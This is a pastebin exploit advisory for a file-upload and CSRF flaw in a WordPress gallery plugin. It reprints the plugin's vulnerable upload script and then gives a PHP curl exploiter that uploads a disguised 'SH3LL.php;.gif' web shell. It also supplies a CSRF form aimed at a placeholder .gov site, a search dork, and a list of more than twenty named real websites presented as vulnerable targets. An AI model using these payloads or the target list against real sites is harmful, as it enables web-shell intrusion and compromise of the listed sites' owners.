API tools faq
paste
KingSkrupellos

WordPress WP-DreamworkGallery Plugins 2.3 CSRF Shell Upload

KingSkrupellos
Mar 4th, 2019
1,084
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.47 KB | None | 0 0
raw download clone embed print report
  1. ##############################################################################
  2.  
  3. # Exploit Title : WordPress WP-DreamworkGallery Plugins 2.3 CSRF Backdoor Access Vulnerability
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 05/03/2019
  7. # Vendor Homepage : wordpress.org ~ wpslideshow.com
  8. # Software Download Link : downloads.wordpress.org/plugin/wp-dreamworkgallery.zip
  9. # Software Information Link : wordpress.org/plugins/wp-dreamworkgallery/
  10. # Software Version : 2.1 and 2.3 and other previous versions may vulnerable
  11. Compatible with WordPress 2.5 and 3.0 - or higher version
  12. # Tested On : Windows and Linux
  13. # Category : WebApps
  14. # Exploit Risk : Medium
  15. # Google Dorks : filetype:xml inurl:/wp-content/plugins/wp-dreamworkgallery
  16. # Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ]
  17. CWE-264 [ Permissions, Privileges, and Access Controls ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. ##############################################################################
  23.  
  24. # Description about Software :
  25. ***************************
  26. “wp Dreamwork Gallery” is open source software for WordPress.
  27.  
  28. ##############################################################################
  29.  
  30. # Impact :
  31. ***********
  32. * The software allows the attacker to upload or transfer files of dangerous types that
  33.  
  34. can be automatically processed within the product's environment.
  35.  
  36. * Weaknesses in this category are related to the management of permissions, privileges,
  37.  
  38. and other security features that are used to perform access control.
  39.  
  40. * WordPress WP-DreamworkGallery Plugins 2.3-2.1 and other versions is prone to a
  41.  
  42. vulnerability that lets attackers upload arbitrary files because the application fails
  43.  
  44. to properly verify user-supplied input. An attacker can exploit this vulnerability to upload
  45.  
  46. arbitrary code and run it in the context of the webserver process.
  47.  
  48. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
  49.  
  50. WordPress Plugin wp Dreamwork Gallery version 2.1 and 2.3 is vulnerable; prior versions may also be affected.
  51.  
  52. ##############################################################################
  53.  
  54. Vulnerable Source Code : [ upload.php ]
  55. *************************************
  56. <?php
  57. /*
  58. This is an upload script for SWFUpload that attempts to properly handle uploaded files
  59. in a secure way.
  60.  
  61. Notes:
  62.  
  63. SWFUpload doesn't send a MIME-TYPE. In my opinion this is ok since MIME-TYPE is no better than
  64. file extension and is probably worse because it can vary from OS to OS and browser to browser (for the same file).
  65. The best thing to do is content sniff the file but this can be resource intensive, is difficult, and can still be fooled or inaccurate.
  66. Accepting uploads can never be 100% secure.
  67.  
  68. You can't guarantee that SWFUpload is really the source of the upload. A malicious user
  69. will probably be uploading from a tool that sends invalid or false metadata about the file.
  70. The script should properly handle this.
  71.  
  72. The script should not over-write existing files.
  73.  
  74. The script should strip away invalid characters from the file name or reject the file.
  75.  
  76. The script should not allow files to be saved that could then be executed on the webserver (such as .php files).
  77. To keep things simple we will use an extension whitelist for allowed file extensions. Which files should be allowed
  78. depends on your server configuration. The extension white-list is _not_ tied your SWFUpload file_types setting
  79.  
  80. For better security uploaded files should be stored outside the webserver's document root. Downloaded files
  81. should be accessed via a download script that proxies from the file system to the webserver. This prevents
  82. users from executing malicious uploaded files. It also gives the developer control over the outgoing mime-type,
  83. access restrictions, etc. This, however, is outside the scope of this script.
  84.  
  85. SWFUpload sends each file as a separate POST rather than several files in a single post. This is a better
  86. method in my opinions since it better handles file size limits, e.g., if post_max_size is 100 MB and I post two 60 MB files then
  87. the post would fail (2x60MB = 120MB). In SWFupload each 60 MB is posted as separate post and we stay within the limits. This
  88. also simplifies the upload script since we only have to handle a single file.
  89.  
  90. The script should properly handle situations where the post was too large or the posted file is larger than
  91. our defined max. These values are not tied to your SWFUpload file_size_limit setting.
  92.  
  93. */
  94.  
  95. // Code for Session Cookie workaround
  96. if (isset($_POST["PHPSESSID"])) {
  97. session_id($_POST["PHPSESSID"]);
  98. } else if (isset($_GET["PHPSESSID"])) {
  99. session_id($_GET["PHPSESSID"]);
  100. }
  101.  
  102. session_start();
  103.  
  104. $conf_content = file_get_contents('../../../../../../wp-config.php');
  105.  
  106. $p_dbname = '#define\s*\(\s*[\'"]DB_NAME[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]#i';
  107. if (preg_match($p_dbname, $conf_content, $res_db)) {
  108. $db_name = $res_db[1];
  109. } else {
  110. HandleError("DB name error.");
  111. exit(0);
  112. }
  113.  
  114. $p_dbuser = '#define\s*\(\s*[\'"]DB_USER[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]#i';
  115. if (preg_match($p_dbuser, $conf_content, $res_dbu)) {
  116. $db_user = $res_dbu[1];
  117. } else {
  118. HandleError("DB user error.");
  119. exit(0);
  120. }
  121.  
  122. $p_dbpass = '#define\s*\(\s*[\'"]DB_PASSWORD[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]#i';
  123. if (preg_match($p_dbpass, $conf_content, $res_dbp)) {
  124. $db_pass = $res_dbp[1];
  125. } else {
  126. HandleError("DB password error.");
  127. exit(0);
  128. }
  129.  
  130. $p_dbhost = '#define\s*\(\s*[\'"]DB_HOST[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]#i';
  131. if (preg_match($p_dbhost, $conf_content, $res_dbh)) {
  132. $db_host = $res_dbh[1];
  133. } else {
  134. HandleError("DB host error.");
  135. exit(0);
  136. }
  137.  
  138. $p_dbprefix = '#\$table_prefix\s*=\s*[\'"]([^\'"]*)[\'"]#i';
  139. if (preg_match($p_dbprefix, $conf_content, $res_dbpref)) {
  140. $db_prefix = $res_dbpref[1];
  141. } else {
  142. HandleError("DB prefix error.");
  143. exit(0);
  144. }
  145.  
  146. $q_secw = "SELECT `txt` FROM `".$db_prefix."drm_misc` WHERE `ione`=1 AND `itwo`=1 AND `ithree`=1 LIMIT 1";
  147. $dbconn = mysql_connect($db_host, $db_user, $db_pass);
  148. if (!$dbconn) {
  149. HandleError("Unable to connect to DB: " . mysql_error());
  150. exit(0);
  151. }
  152. if (!mysql_select_db($db_name)) {
  153. HandleError("Unable to select database: " . mysql_error());
  154. exit(0);
  155. }
  156. $secw_res = mysql_query($q_secw);
  157. if (!$secw_res) {
  158. HandleError("Security word error.");
  159. exit(0);
  160. }
  161. $secw_obj = mysql_fetch_object($secw_res);
  162. $sec_word_site = $secw_obj->txt;
  163. mysql_free_result($secw_res);
  164.  
  165. //
  166.  
  167. if (!isset($_POST['secw']) || trim($_POST['secw']) == "" || $sec_word_site != $_POST['secw']) {
  168. HandleError("Security word error.");
  169. exit(0);
  170. }
  171.  
  172.  
  173. // Check post_max_size (http://us3.php.net/manual/en/features.file-upload.php#73762)
  174. $POST_MAX_SIZE = ini_get('post_max_size');
  175. $unit = strtoupper(substr($POST_MAX_SIZE, -1));
  176. $multiplier = ($unit == 'M' ? 1048576 : ($unit == 'K' ? 1024 : ($unit == 'G' ? 1073741824 : 1)));
  177.  
  178. if ((int)$_SERVER['CONTENT_LENGTH'] > $multiplier*(int)$POST_MAX_SIZE && $POST_MAX_SIZE) {
  179. header("HTTP/1.1 500 Internal Server Error"); // This will trigger an uploadError event in SWFUpload
  180. echo "POST exceeded maximum allowed size.";
  181. exit(0);
  182. }
  183.  
  184. // Settings
  185. //$save_path = getcwd() . "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
  186. $save_path = $_REQUEST['folder'] . '/';
  187. $upload_name = "Filedata";
  188. $max_file_size_in_bytes = 2147483647; // 2GB in bytes
  189. $extension_whitelist = array("jpg", "gif", "png"); // Allowed file extensions
  190. $valid_chars_regex = '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
  191.  
  192. // Other variables
  193. $MAX_FILENAME_LENGTH = 260;
  194. $file_name = "";
  195. $file_extension = "";
  196. $uploadErrors = array(
  197. 0=>"There is no error, the file uploaded with success",
  198. 1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
  199. 2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form",
  200. 3=>"The uploaded file was only partially uploaded",
  201. 4=>"No file was uploaded",
  202. 6=>"Missing a temporary folder"
  203. );
  204.  
  205.  
  206. // Validate the upload
  207. if (!isset($_FILES[$upload_name])) {
  208. HandleError("No upload found in \$_FILES for " . $upload_name);
  209. exit(0);
  210. } else if (isset($_FILES[$upload_name]["error"]) && $_FILES[$upload_name]["error"] != 0) {
  211. HandleError($uploadErrors[$_FILES[$upload_name]["error"]]);
  212. exit(0);
  213. } else if (!isset($_FILES[$upload_name]["tmp_name"]) || !@is_uploaded_file($_FILES[$upload_name]["tmp_name"])) {
  214. HandleError("Upload failed is_uploaded_file test.");
  215. exit(0);
  216. } else if (!isset($_FILES[$upload_name]['name'])) {
  217. HandleError("File has no name.");
  218. exit(0);
  219. }
  220.  
  221. // Validate the file size (Warning: the largest files supported by this code is 2GB)
  222. $file_size = @filesize($_FILES[$upload_name]["tmp_name"]);
  223. if (!$file_size || $file_size > $max_file_size_in_bytes) {
  224. HandleError("File exceeds the maximum allowed size");
  225. exit(0);
  226. }
  227.  
  228. if ($file_size <= 0) {
  229. HandleError("File size outside allowed lower bound");
  230. exit(0);
  231. }
  232.  
  233.  
  234. // Validate file name (for our purposes we'll just remove invalid characters)
  235. $file_name = preg_replace('/[^'.$valid_chars_regex.']|\.+$/i', "", basename($_FILES[$upload_name]['name']));
  236. if (strlen($file_name) == 0 || strlen($file_name) > $MAX_FILENAME_LENGTH) {
  237. HandleError("Invalid file name");
  238. exit(0);
  239. }
  240.  
  241.  
  242. // Validate that we won't over-write an existing file
  243. if (file_exists($save_path . $file_name)) {
  244. HandleError("File with this name already exists");
  245. exit(0);
  246. }
  247.  
  248. // Validate file extension
  249. $path_info = pathinfo($_FILES[$upload_name]['name']);
  250. $file_extension = $path_info["extension"];
  251. $is_valid_extension = false;
  252. foreach ($extension_whitelist as $extension) {
  253. if (strcasecmp($file_extension, $extension) == 0) {
  254. $is_valid_extension = true;
  255. break;
  256. }
  257. }
  258. if (!$is_valid_extension) {
  259. HandleError("Invalid file extension");
  260. exit(0);
  261. }
  262.  
  263. // Validate file contents (extension and mime-type can't be trusted)
  264. /*
  265. Validating the file contents is OS and web server configuration dependant. Also, it may not be reliable.
  266. See the comments on this page: http://us2.php.net/fileinfo
  267.  
  268. Also see http://72.14.253.104/search?q=cache:3YGZfcnKDrYJ:www.scanit.be/uploads/php-file-upload.pdf+php+file+command&hl=en&ct=clnk&cd=8&gl=us&client=firefox-a
  269. which describes how a PHP script can be embedded within a GIF image file.
  270.  
  271. Therefore, no sample code will be provided here. Research the issue, decide how much security is
  272. needed, and implement a solution that meets the needs.
  273. */
  274.  
  275.  
  276. // Process the file
  277. /*
  278. At this point we are ready to process the valid file. This sample code shows how to save the file. Other tasks
  279. could be done such as creating an entry in a database or generating a thumbnail.
  280.  
  281. Depending on your server OS and needs you may need to set the Security Permissions on the file after it has
  282. been saved.
  283. */
  284.  
  285. $tmp_filename = md5(rand() . 'a' . rand() . 'b' . time() . 'c' . rand());
  286. if (!@move_uploaded_file($_FILES[$upload_name]["tmp_name"], $save_path.$tmp_filename)) {
  287. HandleError("File could not be saved.");
  288. exit(0);
  289. } else {
  290. // check image file
  291. $allow_mime = array ('image/gif', 'image/jpeg', 'image/png');
  292. $sz_info = getimagesize($save_path.$tmp_filename);
  293. if (empty($sz_info) || !isset($sz_info[0]) || !is_numeric($sz_info[0]) || !isset($sz_info[1]) || !is_numeric($sz_info[1]) || !isset($sz_info['mime']) || !in_array($sz_info['mime'], $allow_mime)) {
  294. unlink($save_path.$tmp_filename);
  295. HandleError("Invalid file type");
  296. exit(0);
  297. } else {
  298. rename ($save_path.$tmp_filename, $save_path.$file_name);
  299. }
  300. }
  301.  
  302.  
  303. exit(0);
  304.  
  305.  
  306. /* Handles the error output. This error message will be sent to the uploadSuccess event handler. The event handler
  307. will have to check for any error messages and react as needed. */
  308. function HandleError($message) {
  309. echo $message;
  310. }
  311. ?>
  312.  
  313. ##############################################################################
  314.  
  315. # PHP Backdoor Access / Shell Upload / Arbitrary File Upload Exploiter :
  316. ****************************************************************
  317.  
  318. <?php
  319.  
  320. $uploadfile="SH3LL.php;.gif";
  321. $ch = curl_init("http://[VULNERABLESITE]/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php");
  322. curl_setopt($ch, CURLOPT_POST, true);
  323. curl_setopt($ch, CURLOPT_POSTFIELDS,
  324. array('Filedata'=>"@$uploadfile"));
  325. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  326. $postResult = curl_exec($ch);
  327. curl_close($ch);
  328. print "$postResult";
  329.  
  330. ?>
  331.  
  332. ##############################################################################
  333.  
  334. First Exploit Direct Access :
  335. *************************
  336. /wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  337.  
  338. Directory File Path :
  339. ******************
  340. /wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/.......
  341.  
  342. Vulnerability Error on Page :
  343. *************************
  344. No upload found in $_FILES for Filedata - Security word error.
  345.  
  346. Second Exploit Direct Access :
  347. ***************************
  348. /wp-admin/admin.php?page=dreamwork_manage
  349.  
  350. Directory File Path :
  351. *******************
  352. /wp-content/uploads/dreamwork/1_uploadfolder/big/.........
  353.  
  354. /wp-content/uploads/dreamwork/[ID-NUMBER]_uploadfolder/big/......
  355.  
  356. ##############################################################################
  357.  
  358. Cross Site Request Forgery CSRF Exploiter =>
  359. ******************************************
  360. <html>
  361. <body>
  362. <form action="http://www.[VULNERABLESITE].gov/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data">
  363. <input type="hidden" name="task" value="drm_add_new_album" />
  364. <input type="hidden" name="album_name" value="Arbitrary File Upload for WordPress WP DreamWorkGallery" />
  365. <input type="hidden" name="album_desc" value="Arbitrary File Upload for WordPress WP DreamWorkGallery" />
  366. <input type="file" name="album_img" value="" />
  367. <input type="submit" value="Submit" />
  368. </form>
  369. </body>
  370. </html>
  371.  
  372. ##############################################################################
  373.  
  374. # Example Vulnerable Sites :
  375. *************************
  376. /wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  377.  
  378. /wp-admin/admin.php?page=dreamwork_manage
  379.  
  380. noviascira.es/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  381.  
  382. No upload found in $_FILES for Filedata - Security word error.
  383.  
  384. osteriadeimaltagliati.it/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  385.  
  386. No upload found in $_FILES for Filedata - Security word error.
  387.  
  388. surreytrf.org.uk/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  389.  
  390. No upload found in $_FILES for Filedata - Security word error.
  391.  
  392. schoutservice.com/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  393.  
  394. No upload found in $_FILES for Filedata - Security word error.
  395.  
  396. tonavimas.com/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  397.  
  398. No upload found in $_FILES for Filedata - Security word error.
  399.  
  400. nexange.com/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  401.  
  402. No upload found in $_FILES for Filedata - Security word error.
  403.  
  404. novschool3.com/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  405.  
  406. No upload found in $_FILES for Filedata - Security word error.
  407.  
  408. digitaldigital.eu/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  409.  
  410. No upload found in $_FILES for Filedata - Security word error.
  411.  
  412. emkphotoart.com/WordPress555/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  413.  
  414. No upload found in $_FILES for Filedata - Security word error.
  415.  
  416. elcolegiodelcuerpo.org/en/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  417.  
  418. No upload found in $_FILES for Filedata - Security word error.
  419.  
  420. nirvanasurfyoga.com/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  421.  
  422. No upload found in $_FILES for Filedata - Security word error.
  423.  
  424. hallmarkdevelopments.com.au/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  425.  
  426. No upload found in $_FILES for Filedata - Security word error.
  427.  
  428. letemple-venterol.fr/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  429.  
  430. No upload found in $_FILES for Filedata - Security word error.
  431.  
  432. ds.webmanagercenter.com/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  433.  
  434. No upload found in $_FILES for Filedata - Security word error.
  435.  
  436. milesmuffler.com/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  437.  
  438. No upload found in $_FILES for Filedata - Security word error.
  439.  
  440. hallmarkdevelopments.com.au/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  441.  
  442. No upload found in $_FILES for Filedata - Security word error.
  443.  
  444. pelerinaje.semperagape.org/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  445.  
  446. No upload found in $_FILES for Filedata - Security word error.
  447.  
  448. rohses-hofladen.de/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  449.  
  450. No upload found in $_FILES for Filedata - Security word error.
  451.  
  452. minor.eu/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  453.  
  454. No upload found in $_FILES for Filedata - Security word error.
  455.  
  456. mupke.net/poezennetwerk/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  457.  
  458. No upload found in $_FILES for Filedata - Security word error.
  459.  
  460. rybnikybrcna.sk/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  461.  
  462. No upload found in $_FILES for Filedata - Security word error.
  463.  
  464. presprint.rs/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  465.  
  466. No upload found in $_FILES for Filedata - Security word error.
  467.  
  468. madrealberta.com/blog_infantil/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  469.  
  470. No upload found in $_FILES for Filedata - Security word error.
  471.  
  472. autoa1.al/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  473.  
  474. No upload found in $_FILES for Filedata - Security word error.
  475.  
  476. fairodis-art.fairiesgifts.net/wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php
  477.  
  478. No upload found in $_FILES for Filedata - Security word error.
  479.  
  480. ##############################################################################
  481.  
  482. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  483.  
  484. ##############################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!